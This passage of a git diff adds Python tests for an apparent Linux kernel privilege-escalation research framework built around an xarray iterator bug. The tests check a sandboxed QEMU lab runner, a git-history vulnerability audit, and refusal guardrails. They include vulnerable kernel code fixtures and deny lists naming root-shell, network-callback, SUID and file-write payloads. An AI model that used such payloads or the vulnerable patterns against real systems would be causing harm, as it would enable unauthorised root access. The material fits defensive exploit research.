"initrd.img").write_bytes(initrd) + vm: dict[str, object] = { + "architecture": "x86_64", + "page_size": 4096, + "qemu_binary": qemu_binary, + "machine": "q35", + "acceleration": "tcg", + "cpu": "max", + "cpus": 4, + "memory_mib": 1024, + "timeout_seconds": 30, + "watchdog": { + "boot_seconds": 10, + "trigger_seconds": 10, + "serial_inactivity_seconds": 10, + "post_primitive_seconds": 5, + }, + } + if extra_vm: + vm.update(extra_vm) + payload: dict[str, object] = { + "schema_version": 2, + "target_id": "debian-6.12.105-test", + "kernel": {"path": "vmlinuz", "sha256": _sha256(kernel)}, + "initrd": {"path": "initrd.img", "sha256": _sha256(initrd)}, + "vm": vm, + "boot": {"action": action, "append": boot_append}, + } + if rootfs: + disk = b"qcow2-placeholder" + (root / "rootfs.qcow2").write_bytes(disk) + payload["rootfs"] = { + "path": "rootfs.qcow2", + "sha256": _sha256(disk), + "format": "qcow2", + } + profile = root / "target.json" + profile.write_text(json.dumps(payload), encoding="utf-8") + return profile + + def test_plan_is_safe_and_records_verified_artifacts(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile = load_lab_profile( + self._write_profile(Path(directory), rootfs=True) + ) + plan = build_qemu_plan(profile) + + qemu = plan["qemu"] + self.assertIsInstance(qemu, dict) + command = qemu["command"] + self.assertFalse(qemu["available"]) + self.assertFalse(qemu["shell"]) + self.assertIn("-nic", command) + self.assertEqual(command[command.index("-nic") + 1], "none") + self.assertIn("-monitor", command) + self.assertEqual(command[command.index("-monitor") + 1], "none") + self.assertIn("snapshot=on", command[command.index("-drive") + 1]) + self.assertNotIn("-daemonize", command) + self.assertEqual(len(plan["artifacts"]), 3) + self.assertEqual(plan["constraints"]["host_shares"], "disabled") + payload_contract = plan["constraints"]["payload_contract"] + self.assertEqual(payload_contract["policy"], "proof-only") + self.assertEqual( + payload_contract["completion"], "immediate-poweroff-after-proof" + ) + self.assertEqual( + set(payload_contract["forbidden_operations"]), + { + "root-shell", + "persistent-root-command", + "network-callback", + "suid-creation", + "service-modification", + "arbitrary-file-write", + }, + ) + self.assertEqual(command[command.index("-device") + 1], "i6300esb") + self.assertEqual( + command[command.index("-watchdog-action") + 1], "poweroff" + ) + self.assertEqual(qemu["watchdog"]["model"], "i6300esb") + self.assertEqual( + plan["constraints"]["host_deadlines"]["post_primitive_seconds"], + 5, + ) + + def test_profile_rejects_watchdog_deadline_beyond_total_timeout(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile( + Path(directory), + extra_vm={ + "timeout_seconds": 5, + "watchdog": { + "boot_seconds": 6, + "trigger_seconds": 5, + "serial_inactivity_seconds": 5, + "post_primitive_seconds": 5, + }, + }, + ) + with self.assertRaisesRegex(LabProfileError, "cannot exceed"): + load_lab_profile(profile_path) + + def test_profile_rejects_unknown_fields(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile( + Path(directory), extra_vm={"network": True} + ) + with self.assertRaisesRegex(LabProfileError, "unknown keys: network"): + load_lab_profile(profile_path) + + def test_profile_rejects_artifact_path_escape(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_root = root / "profile" + profile_path = self._write_profile(profile_root) + payload = json.loads(profile_path.read_text(encoding="utf-8")) + outside = root / "outside-kernel" + outside.write_bytes(b"outside") + payload["kernel"] = { + "path": "../outside-kernel", + "sha256": _sha256(b"outside"), + } + profile_path.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(LabProfileError, "stay beneath"): + load_lab_profile(profile_path) + + def test_profile_rejects_hash_mismatch(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile(Path(directory)) + payload = json.loads(profile_path.read_text(encoding="utf-8")) + payload["kernel"]["sha256"] = "0" * 64 + profile_path.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(LabProfileError, "SHA-256 mismatch"): + load_lab_profile(profile_path) + + def test_profile_rejects_every_forbidden_payload_class(self) -> None: + cases = ( + ("init=/bin/sh", "root shell"), + ("dirtycrow.command=id", "persistent root command"), + ("ip=dhcp", "network callback"), + ("dirtycrow.suid=/tmp/root", "SUID creation"), + ("systemd.unit=multi-user.target", "service modification"), + ("dirtycrow.write=/etc/proof", "arbitrary file write"), + ) + for token, reason in cases: + with self.subTest(token=token), tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile( + Path(directory), boot_append=f"console=ttyS0 {token}" + ) + with self.assertRaisesRegex(LabProfileError, reason): + load_lab_profile(profile_path) + + def test_profile_rejects_unlisted_boot_parameter(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile( + Path(directory), boot_append="console=ttyS0 debug" + ) + with self.assertRaisesRegex(LabProfileError, "not proof-only"): + load_lab_profile(profile_path) + + def test_backstep_plan_is_non_runnable_until_host_issues_token(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile = load_lab_profile( + self._write_profile(Path(directory), action="backstep-proof") + ) + plan = build_qemu_plan(profile) + + command = plan["qemu"]["command"] + self.assertFalse(plan["qemu"]["command_runnable"]) + self.assertEqual(plan["attestation"]["token_id"], "issued-at-run") + self.assertEqual( + plan["constraints"]["host_attestation"], + "required-one-use-virtio-serial", + ) + self.assertIn("-uuid", command) + self.assertIn("-chardev", command) + self.assertTrue( + any("org.dirtycrow.attestation" in argument for argument in command) + ) + + def test_backstep_run_delivers_private_attestation_channel(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_lab_profile( + self._write_profile( + root / "profile", + qemu_binary="fixture", + action="backstep-proof", + ) + ) + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + endpoint = command[command.index("-chardev") + 1] + parameters = { + key: value + for key, value in ( + component.split("=", 1) + for component in endpoint.split(",")[1:] + ) + } + with socket.create_connection( + (parameters["host"], int(parameters["port"])), timeout=2 + ) as connection: + chunks: list[bytes] = [] + while chunk := connection.recv(4096): + chunks.append(chunk) + fields = parse_attestation_payload(b"".join(chunks)) + output = ( + f"ATTESTATION_ACCEPTED token_id={fields['token_id']} " + f"boot_uuid={fields['boot_uuid']} " + f"policy={fields['policy']}\n" + "TRIGGER_START mode=backstep rounds=1 workers=1\n" + "PRIMITIVE_NOT_OBSERVED rounds=1\n" + ).encode() + process = _FakeProcess(exit_code=0, output=output) + process.command = command + return process + + output = root / "run" + result = run_lab(profile, output, popen_factory=fake_popen) + evidence = json.loads( + (output / "evidence.json").read_text(encoding="utf-8") + ) + + self.assertTrue(result["passed"]) + self.assertTrue(result["attestation"]["delivery"]["delivered"]) + self.assertEqual(result["attestation"]["delivery"]["delivery_count"], 1) + self.assertTrue(evidence["outcome"]["attestation_valid"]) + self.assertFalse(evidence["outcome"]["proof_confirmed"]) + + def test_run_records_clean_guest_exit(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_lab_profile( + self._write_profile(root / "profile", qemu_binary="fixture") + ) + process = _FakeProcess( + exit_code=0, + output=b"booted exact target\nclean poweroff\n", + ) + + def fake_popen(command: list[str], **options: object) -> _FakeProcess: + self.assertIs(options["shell"], False) + self.assertIs(options["stdout"], subprocess.PIPE) + process.command = command + return process + output = root / "run" + result = run_lab(profile, output, popen_factory=fake_popen) + + self.assertTrue(result["passed"]) + self.assertEqual(result["state"], "exited_clean") + self.assertEqual(result["termination"], "guest_exit") + self.assertEqual(result["qemu_exit_code"], 0) + self.assertGreater(result["console"]["size"], 0) + self.assertTrue((output / "plan.json").is_file()) + self.assertTrue((output / "result.json").is_file()) + self.assertTrue((output / "evidence.json").is_file()) + self.assertEqual( + result["evidence"]["classification"], "no_primitive_observed" + ) + self.assertEqual(len(result["evidence"]["sha256"]), 64) + + def test_run_times_out_and_terminates_guest(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile_path = self._write_profile( + root / "profile", + qemu_binary="fixture", + extra_vm={ + "timeout_seconds": 1, + "watchdog": { + "boot_seconds": 1, + "trigger_seconds": 1, + "serial_inactivity_seconds": 1, + "post_primitive_seconds": 1, + }, + }, + ) + profile = load_lab_profile(profile_path) + process = _FakeProcess(exit_code=-15, running=True) + + result = run_lab( + profile, + root / "run", + popen_factory=lambda command, **options: process, + terminate_grace_seconds=1, + ) + + self.assertFalse(result["passed"]) + self.assertEqual(result["state"], "deadline_exceeded") + self.assertEqual(result["failure_reason"], "total_deadline") + self.assertTrue(result["watchdog"]["triggered"]) + self.assertEqual(result["termination"], "host_terminate") + self.assertTrue(result["timed_out"]) + self.assertTrue(result["forced_termination"]) + self.assertTrue(process.terminated) + + def test_backend_return_after_primitive_forces_kill_recovery(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_lab_profile( + self._write_profile( + root / "profile", + qemu_binary="fixture", + action="legacy-trigger", + ) + ) + process = _FakeProcess( + exit_code=-9, + output=( + b"KERNEL_RELEASE test\n" + b"TRIGGER_START mode=backstep rounds=1 workers=1\n" + b"PAGE_TABLE_PRIMITIVE round=1 mapped_pmds=1\n" + b"EXPLOIT_STAGE_DONE rc=7 reason=test\n" + ), + running=True, + ignore_terminate=True, + ) + + result = run_lab( + profile, + root / "run", + popen_factory=lambda command, **options: process, + terminate_grace_seconds=0.1, + poll_interval_seconds=0.01, + ) + + self.assertEqual(result["state"], "recovery_forced") + self.assertEqual( + result["failure_reason"], "backend_returned_after_primitive" + ) + self.assertEqual(result["termination"], "host_kill") + self.assertFalse(result["timed_out"]) + self.assertTrue(process.terminated) + self.assertTrue(process.killed) + + def test_primitive_exit_without_recovery_marker_is_not_clean(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = load_lab_profile( + self._write_profile( + root / "profile", + qemu_binary="fixture", + action="legacy-trigger", + ) + ) + process = _FakeProcess( + exit_code=0, + output=( + b"KERNEL_RELEASE test\n" + b"TRIGGER_START mode=backstep rounds=1 workers=1\n" + b"PAGE_TABLE_PRIMITIVE round=1 mapped_pmds=1\n" + ), + ) + result = run_lab( + profile, + root / "run", + popen_factory=lambda command, **options: process, + ) + + self.assertFalse(result["passed"]) + self.assertEqual(result["state"], "recovery_unverified") + self.assertEqual( + result["failure_reason"], + "primitive_exit_without_recovery_action", + ) + + def test_cli_plan_succeeds_without_installed_qemu(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile_path = self._write_profile(Path(directory)) + stdout = io.StringIO() + with contextlib.redirect_stdout(stdout): + status = main( + ["lab", "plan", "--profile", str(profile_path)] + ) + report = json.loads(stdout.getvalue()) + + self.assertEqual(status, 0) + self.assertFalse(report["qemu"]["available"]) + self.assertEqual(report["target_id"], "debian-6.12.105-test") + + +class _FakeProcess: + def __init__( + self, + *, + exit_code: int, + output: bytes = b"", + running: bool = False, + ignore_terminate: bool = False, + ) -> None: + self.exit_code = exit_code + self.stdout = io.BytesIO(output) + self.running = running + self.ignore_terminate = ignore_terminate + self.stopped = not running + self.terminated = False + self.killed = False + self.command: list[str] | None = None + + def poll(self) -> int | None: + return self.exit_code if self.stopped else None + + def wait(self, timeout: float) -> int: + if not self.stopped: + raise subprocess.TimeoutExpired(self.command or ["fake-qemu"], timeout) + return self.exit_code + + def terminate(self) -> None: + self.terminated = True + if not self.ignore_terminate: + self.stopped = True + + def kill(self) -> None: + self.killed = True + self.stopped = True + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_lineage.py b/dirty-crow-xarray-lpe/framework/tests/test_lineage.py new file mode 100644 index 0000000..2b700a3 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_lineage.py @@ -0,0 +1,347 @@ +import subprocess +import tempfile +import unittest +from pathlib import Path + +from dirtycrow.candidates import audit_early_shmem_lineage +from dirtycrow.lineage import ( + analyze_cached_ref, + audit_cached_lineages, + discover_vulnerable_intervals, +) + + +VULNERABLE_XARRAY = """ +void *xas_find(struct xa_state *xas, unsigned long max) +{ + if (xas->xa_node == XAS_RESTART) + entry = xas_load(xas); + else if (!xas->xa_node->shift && + xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) + xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; + return entry; +} +""" +FIXED_XARRAY = """ +void *xas_find(struct xa_state *xas, unsigned long max) +{ + if (xas->xa_node->shift && + xas->xa_offset != get_offset(xas->xa_index, xas->xa_node)) + xas->xa_offset = get_offset(xas->xa_index, xas->xa_node); + return entry; +} +""" +LEGACY_SHMEM = """ +static int shmem_add_to_page_cache(void) +{ + XA_STATE_ORDER(xas, &mapping->i_pages, index, compound_order(page)); + xas_store(&xas, page + i); + split_huge_page(page); + return FALLOC_FL_PUNCH_HOLE; +} +bool shmem_is_huge(struct vm_area_struct *vma) { return true; } +""" +SHMEM = """ +static int shmem_add_to_page_cache(void) +{ + XA_STATE_ORDER(xas, &mapping->i_pages, index, folio_order(folio)); + xas_store(&xas, folio); + split_folio(folio); + return FALLOC_FL_PUNCH_HOLE; +} +bool shmem_huge_enabled(struct vm_area_struct *vma) { return true; } +""" +FILEMAP = """ +void filemap_map_pages(void) +{ + vmf->pte += xas.xa_index - last_pgoff; +} +""" +AUDIT_FILEMAP = """ +void filemap_map_pages(void) +{ + vmf->address += (xas.xa_index - last_pgoff) << PAGE_SHIFT; + vmf->pte += xas.xa_index - last_pgoff; +} +""" + + +def shmem_audit_source(store: str) -> str: + return f""" +#define SHMEM_HUGE_NEVER 0 +#define SHMEM_HUGE_FORCE 4 +static int shmem_huge; +static int shmem_add_to_page_cache(void) +{{ + XA_STATE_ORDER(xas, &mapping->i_pages, index, compound_order(page)); + {store} + split_huge_page(page); + return FALLOC_FL_PUNCH_HOLE; +}} +bool shmem_is_huge(struct vm_area_struct *vma) +{{ + if (shmem_huge == SHMEM_HUGE_FORCE) + return true; + return false; +}} +strcmp(str, "never"); +strcmp(str, "always"); +strcmp(str, "within_size"); +strcmp(str, "advise"); +__ATTR(shmem_enabled, 0644, show, store); +""" + + +class CachedLineageTests(unittest.TestCase): + def _write_ref( + self, + cache: Path, + ref: str, + xarray: str, + collapse: bool, + shmem: str = SHMEM, + ) -> None: + root = cache / "torvalds__linux" / ref + for relative, source in { + "lib/xarray.c": xarray, + "mm/shmem.c": shmem, + "mm/filemap.c": FILEMAP, + "mm/madvise.c": ( + "case MADV_COLLAPSE:" if collapse else "case MADV_HUGEPAGE:" + ), + }.items(): + path = root / relative + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(source, encoding="utf-8") + + def test_distinguishes_primitive_policy_gated_and_synchronous_chains(self) -> None: + with tempfile.TemporaryDirectory() as directory: + cache = Path(directory) + self._write_ref( + cache, "v4.20", VULNERABLE_XARRAY, collapse=False, shmem=LEGACY_SHMEM + ) + self._write_ref(cache, "v5.17", VULNERABLE_XARRAY, collapse=False) + self._write_ref(cache, "v6.1", VULNERABLE_XARRAY, collapse=True) + + report = audit_cached_lineages( + cache, "torvalds/linux", ["v4.20", "v5.17", "v6.1"] + ) + + self.assertEqual(report["refs"][0]["source_status"], "iterator_primitive_only") + self.assertEqual( + report["refs"][1]["source_status"], "policy_gated_source_chain_present" + ) + self.assertEqual( + report["refs"][2]["source_status"], "ordinary_user_source_chain_present" + ) + self.assertTrue( + report["refs"][0]["facts"]["shmem_repeated_slot_store"]["present"] + ) + self.assertFalse( + report["refs"][0]["facts"]["shmem_multi_index_store"]["present"] + ) + + def test_recognizes_root_cause_fix(self) -> None: + with tempfile.TemporaryDirectory() as directory: + cache = Path(directory) + self._write_ref(cache, "fixed", FIXED_XARRAY, collapse=True) + + row = analyze_cached_ref(cache, "torvalds/linux", "fixed") + + self.assertEqual(row["source_status"], "fixed_root_cause") + self.assertFalse(row["root_cause_present"]) + self.assertIsNotNone(row["facts"]["nonleaf_offset_fix"]["line"]) + + +class EarlyShmemAuditTests(unittest.TestCase): + def test_does_not_treat_pre517_shmem_thp_as_multi_index(self) -> None: + with tempfile.TemporaryDirectory() as directory: + repository = Path(directory) + + def git(*arguments: str) -> None: + subprocess.run( + ["git", "-C", str(repository), *arguments], + check=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + ) + + def write(relative: str, source: str) -> None: + destination = repository / relative + destination.parent.mkdir(parents=True, exist_ok=True) + destination.write_text(source, encoding="utf-8") + + git("init", "-q") + git("config", "user.email", "audit@example.invalid") + git("config", "user.name", "Audit Test") + write("lib/xarray.c", VULNERABLE_XARRAY) + write("mm/filemap.c", AUDIT_FILEMAP) + write("mm/madvise.c", "case MADV_HUGEPAGE:\n") + write( + "mm/shmem.c", + shmem_audit_source("xas_store(&xas, page + i);"), + ) + git("add", "-A") + git("commit", "-q", "-m", "legacy repeated-slot shmem") + git("tag", "v4.20") + + write("mm/shmem.c", shmem_audit_source("xas_store(&xas, page);")) + git("add", "-A") + git("commit", "-q", "-m", "multi-index shmem") + git("tag", "v5.17") + + report = audit_early_shmem_lineage( + repository, refs=("v4.20", "v5.17") + ) + + rows = {row["ref"]: row for row in report["source_rows"]} + self.assertTrue(report["passed"]) + self.assertEqual( + rows["v4.20"]["source_facts"]["page_cache_representation"], + "repeated_order0_slots", + ) + self.assertFalse(rows["v4.20"]["static_source_chain"]) + self.assertEqual( + rows["v4.20"]["administrator_provisioned_policy"], + "missing_multi_index_page_cache_producer", + ) + self.assertEqual( + rows["v5.17"]["source_facts"]["page_cache_representation"], + "multi_index_entry", + ) + self.assertTrue(rows["v5.17"]["static_source_chain"]) + + +class ExactHistoryTests(unittest.TestCase): + def test_reports_introduction_fix_patch_ids_and_open_boundaries(self) -> None: + with tempfile.TemporaryDirectory() as directory: + repository = Path(directory) + + def git(*arguments: str) -> str: + result = subprocess.run( + ["git", "-C", str(repository), *arguments], + check=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + ) + return result.stdout.strip() + + def write(relative: str, source: str) -> None: + destination = repository / relative + destination.parent.mkdir(parents=True, exist_ok=True) + destination.write_text(source, encoding="utf-8") + + def commit(message: str) -> str: + git("add", "-A") + git("commit", "-q", "-m", message) + return git("rev-parse", "HEAD") + + git("init", "-q") + git("config", "user.email", "history@example.invalid") + git("config", "user.name", "History Test") + write("lib/xarray.c", "void xas_find(void) {}\n") + write("mm/shmem.c", "void shmem(void) {}\n") + write("mm/filemap.c", "void filemap(void) {}\n") + write("mm/madvise.c", "void madvise(void) {}\n") + commit("base") + + write("lib/xarray.c", VULNERABLE_XARRAY) + root_introduction = commit("introduce root cause") + write("mm/shmem.c", SHMEM) + commit("introduce producer") + write("mm/filemap.c", FILEMAP) + sink_introduction = commit("introduce sink") + write("mm/madvise.c", "case MADV_COLLAPSE:\n") + ordinary_chain_introduction = commit("introduce synchronous trigger") + write("lib/xarray.c", FIXED_XARRAY) + root_fix = commit("fix root cause") + + report = discover_vulnerable_intervals(repository, "HEAD") + + self.assertTrue(report["passed"]) + claims = {claim["id"]: claim for claim in report["claims"]} + root = claims["xas_find_root_cause"] + self.assertEqual(root["introducing_commits"], [root_introduction]) + self.assertEqual(root["fixing_or_removal_commits"], [root_fix]) + self.assertFalse(root["state_at_target_ref"]) + self.assertEqual(root["affected_intervals"][0]["end_commit"], root_fix) + + sink = claims["filemap_unsigned_pte_sink"] + self.assertEqual(sink["introducing_commits"], [sink_introduction]) + self.assertTrue(sink["state_at_target_ref"]) + self.assertEqual(sink["affected_intervals"][0]["status"], "open_at_target_ref") + + ordinary = claims["ordinary_user_source_chain"] + self.assertEqual(ordinary["introducing_commits"], [ordinary_chain_introduction]) + self.assertEqual(ordinary["fixing_or_removal_commits"], [root_fix]) + transitions = [ + transition + for claim in report["claims"] + for transition in claim["transitions"] + ] + self.assertTrue(transitions) + self.assertTrue( + all(transition["patch_id_stable"] for transition in transitions) + ) + self.assertRegex(report["canonical_payload_sha256"], r"^[0-9a-f]{64}$") + + + def test_distinguishes_authoring_frontier_from_mainline_merge(self) -> None: + with tempfile.TemporaryDirectory() as directory: + repository = Path(directory) + + def git(*arguments: str) -> str: + result = subprocess.run( + ["git", "-C", str(repository), *arguments], + check=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + ) + return result.stdout.strip() + + def write_xarray(source: str) -> None: + destination = repository / "lib/xarray.c" + destination.parent.mkdir(parents=True, exist_ok=True) + destination.write_text(source, encoding="utf-8") + + def commit(message: str) -> str: + git("add", "-A") + git("commit", "-q", "-m", message) + return git("rev-parse", "HEAD") + + git("init", "-q", "-b", "main") + git("config", "user.email", "history@example.invalid") + git("config", "user.name", "History Test") + write_xarray("void xas_find(void) {}\n") + commit("base") + git("switch", "-q", "-c", "feature") + write_xarray(VULNERABLE_XARRAY) + authored = commit("author root cause") + git("switch", "-q", "main") + (repository / "main.txt").write_text("mainline\n", encoding="utf-8") + commit("mainline work") + git("merge", "-q", "--no-ff", "feature", "-m", "merge feature") + integrated = git("rev-parse", "HEAD") + + report = discover_vulnerable_intervals(repository, "HEAD") + + root = next( + claim + for claim in report["claims"] + if claim["id"] == "xas_find_root_cause" + ) + self.assertEqual(root["introducing_commits"], [authored]) + self.assertEqual(root["mainline_introducing_commits"], [integrated]) + self.assertEqual( + root["affected_intervals"][0]["start_commit"], integrated + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_model.py b/dirty-crow-xarray-lpe/framework/tests/test_model.py new file mode 100644 index 0000000..8a769bf --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_model.py @@ -0,0 +1,92 @@ +import unittest + +from dirtycrow.model import ( + CursorKind, + GuardAction, + IteratorState, + RestartOutcome, + find_marked_offset, + fixed_next, + guard_transition, + move_index, + sibling_base, + valid_node_shifts, + verify_fix_model, + vulnerable_next, +) + + +class IteratorModelTests(unittest.TestCase): + def test_observed_non_leaf_backstep_shape(self) -> None: + state = IteratorState(index=256, node_shift=6, offset=0) + self.assertEqual(vulnerable_next(state, bits=16), 64) + self.assertEqual(fixed_next(state, bits=16), 320) + + def test_move_index_clears_slot_and_lower_bits(self) -> None: + state = IteratorState(index=100, node_shift=6, offset=0) + self.assertEqual(move_index(100, 6, 2, bits=16), 128) + self.assertEqual(vulnerable_next(state, bits=16), 64) + self.assertEqual(fixed_next(state, bits=16), 128) + + def test_candidate_fix_is_monotonic_over_reachable_model_states(self) -> None: + report = verify_fix_model(bits=16, shifts=[6]) + self.assertTrue(report["passed"]) + self.assertGreater(report["vulnerable_regression_count"], 0) + self.assertEqual(report["fixed_regression_count"], 0) + self.assertTrue(report["differential_oracle"]["passed"]) + + def test_full_width_report_covers_every_valid_shift_and_branch(self) -> None: + report = verify_fix_model() + self.assertTrue(report["passed"]) + self.assertEqual(report["schema_version"], 2) + self.assertEqual(report["mode"], "full-width") + self.assertEqual(report["bits"], [32, 64]) + for bits in (32, 64): + coverage = report["shift_coverage"][str(bits)] + self.assertEqual(coverage["valid"], list(valid_node_shifts(bits))) + self.assertEqual(coverage["modeled"], coverage["valid"]) + self.assertTrue(coverage["complete"]) + self.assertEqual(report["widths"][str(bits)]["fixed_regression_count"], 0) + self.assertTrue(report["widths"][str(bits)]["ulong_max_cases"]) + self.assertTrue(report["branch_coverage"]["complete"]) + self.assertEqual(report["branch_coverage"]["missing"], []) + self.assertTrue(report["marked_iteration"]["passed"]) + self.assertTrue(report["sibling_entries"]["passed"]) + self.assertTrue(report["differential_oracle"]["passed"]) + self.assertGreater(report["differential_oracle"]["case_count"], 100_000) + + def test_guard_states_have_distinct_terminal_semantics(self) -> None: + error = guard_transition(CursorKind.ERROR, index=7, max_index=8, bits=32) + bounds = guard_transition(CursorKind.BOUNDS, index=7, max_index=8, bits=32) + above = guard_transition(CursorKind.NODE, index=9, max_index=8, bits=32) + null = guard_transition(CursorKind.NULL, index=0, max_index=8, bits=32) + restart = guard_transition( + CursorKind.RESTART, + index=7, + max_index=8, + bits=32, + restart_outcome=RestartOutcome.ENTRY, + ) + self.assertEqual(error.action, GuardAction.RETURN_NULL) + self.assertEqual(bounds.action, GuardAction.RETURN_NULL) + self.assertEqual(above.action, GuardAction.SET_BOUNDS) + self.assertEqual( + null, null.__class__(GuardAction.SET_BOUNDS, 1, "guard_null_node") + ) + self.assertEqual(restart.action, GuardAction.RETURN_ENTRY) + + def test_mark_and_sibling_helpers_cover_boundaries(self) -> None: + marks = (1 << 0) | (1 << 31) | (1 << 63) + self.assertEqual(find_marked_offset(marks, 0, False), 0) + self.assertEqual(find_marked_offset(marks, 0, True), 31) + self.assertEqual(find_marked_offset(marks, 63, True), 64) + self.assertEqual(sibling_base(63, 64), 0) + self.assertEqual(sibling_base(47, 16), 32) + + def test_invalid_shift_is_rejected(self) -> None: + with self.assertRaisesRegex(ValueError, "invalid node shifts"): + verify_fix_model(bits=32, shifts=[60]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_native_components.py b/dirty-crow-xarray-lpe/framework/tests/test_native_components.py new file mode 100644 index 0000000..6c7ba8a --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_native_components.py @@ -0,0 +1,175 @@ +from __future__ import annotations + +import json +import os +from pathlib import Path +import platform +import shutil +import subprocess +import tempfile +import unittest + + +ROOT = Path(__file__).resolve().parents[1] +CC = os.environ.get("CC") or shutil.which("cc") +LINUX_NATIVE = platform.system() == "Linux" and CC is not None + + +@unittest.skipUnless(LINUX_NATIVE, "native Linux compiler required") +class NativeComponentTests(unittest.TestCase): + @classmethod + def setUpClass(cls) -> None: + cls.temporary = tempfile.TemporaryDirectory(prefix="dirty-crow-native-") + cls.build = Path(cls.temporary.name) + cls.binaries: dict[str, Path] = {} + cls._compile("probe", ROOT / "src/dirty_crow_probe.c") + cls._compile( + "legacy-trigger", + ROOT / "probes/backstep_legacy_trigger.c", + "-pthread", + ) + cls._compile( + "backstep", + ROOT / "backends/backstep_x86_64_4k.c", + "-pthread", + ) + cls._compile( + "barrier-sequence", + ROOT / "tools/dirty_crow_barrier_sequence.c", + "-pthread", + ) + cls._compile("proof-contract", ROOT / "tests/proof_contract_harness.c") + + @classmethod + def tearDownClass(cls) -> None: + cls.temporary.cleanup() + + @classmethod + def _compile(cls, name: str, source: Path, *extra: str) -> None: + executable = cls.build / name + result = subprocess.run( + [ + str(CC), + "-std=gnu11", + "-O2", + "-Wall", + "-Wextra", + "-Werror", + *extra, + str(source), + "-o", + str(executable), + ], + cwd=ROOT, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + timeout=120, + check=False, + ) + if result.returncode: + raise AssertionError( + f"failed to compile {source}:\n{result.stdout}\n{result.stderr}" + ) + cls.binaries[name] = executable + + def _run( + self, + name: str, + *arguments: str, + environment: dict[str, str] | None = None, + ) -> subprocess.CompletedProcess[str]: + return subprocess.run( + [str(self.binaries[name]), *arguments], + cwd=self.build, + env={**os.environ, **(environment or {})}, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + timeout=30, + check=False, + ) + + def test_preflight_probe_emits_valid_runtime_contract(self) -> None: + result = self._run("probe") + self.assertIn(result.returncode, (0, 3), result.stderr) + payload = json.loads(result.stdout) + self.assertEqual(payload["schema_version"], 1) + self.assertEqual(payload["runtime"]["page_size"], os.sysconf("SC_PAGE_SIZE")) + self.assertIn(payload["support"]["tier"], ("A", "B", "unsupported")) + self.assertIn("does not prove vulnerability", payload["support"]["boundary"]) + + def test_preflight_probe_rejects_invalid_tier(self) -> None: + result = self._run("probe", "--require-tier", "Z") + self.assertEqual(result.returncode, 2) + self.assertIn("require-tier must be A or B", result.stderr) + + def test_legacy_trigger_fails_closed_without_operator_ack(self) -> None: + environment = dict(os.environ) + environment.pop("DIRTY_CROW_TRIGGER_ACK", None) + result = subprocess.run( + [str(self.binaries["legacy-trigger"]), "--rounds", "1"], + cwd=self.build, + env=environment, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + timeout=30, + check=False, + ) + self.assertEqual(result.returncode, 2) + self.assertIn("refusing destructive race", result.stderr) + self.assertNotIn("TRIGGER_START", result.stdout) + + def test_backstep_backend_fails_closed_without_attestation(self) -> None: + result = self._run("backstep", "1") + self.assertEqual(result.returncode, 2) + rejection = result.stdout + result.stderr + self.assertRegex( + rejection, + r"EXPLOIT_REFUSED privileged initial identity|ATTESTATION_REJECTED", + ) + self.assertNotIn("TRIGGER_START", rejection) + + def test_barrier_controller_rejects_root_child_identity(self) -> None: + result = self._run("barrier-sequence", "0", "0") + self.assertEqual(result.returncode, 2) + self.assertIn("root controller and nonzero child uid/gid required", result.stderr) + self.assertNotIn("DIRTY_CROW_DETERMINISTIC_SEQUENCE_OK", result.stdout) + + def test_backstep_rejects_every_forbidden_payload_environment(self) -> None: + forbidden = { + "XARR_ROOT_SHELL": "root_shell", + "XARR_ROOT_COMMAND": "persistent_root_command", + "XARR_NETWORK_CALLBACK": "network_callback", + "XARR_SUID_PATH": "suid_creation", + "XARR_SERVICE_MODIFICATION": "service_modification", + "XARR_WRITE_PATH": "arbitrary_file_write", + } + for variable, category in forbidden.items(): + with self.subTest(variable=variable): + result = self._run( + "backstep", + "1", + environment={variable: "guardrail-test"}, + ) + self.assertEqual(result.returncode, 2) + self.assertIn( + f"PROOF_CONTRACT_REJECTED reason=forbidden_environment " + f"category={category} variable={variable}", + result.stderr, + ) + self.assertNotIn("TRIGGER_START", result.stdout + result.stderr) + + def test_proof_contract_accepts_only_bounded_helper_paths(self) -> None: + accepted = self._run("proof-contract", "helper-path", "/tmp/x00") + rejected = self._run("proof-contract", "helper-path", "/tmp/x000") + self.assertEqual(accepted.returncode, 0) + self.assertEqual(rejected.returncode, 2) + + +if __name__ == "__main__": + 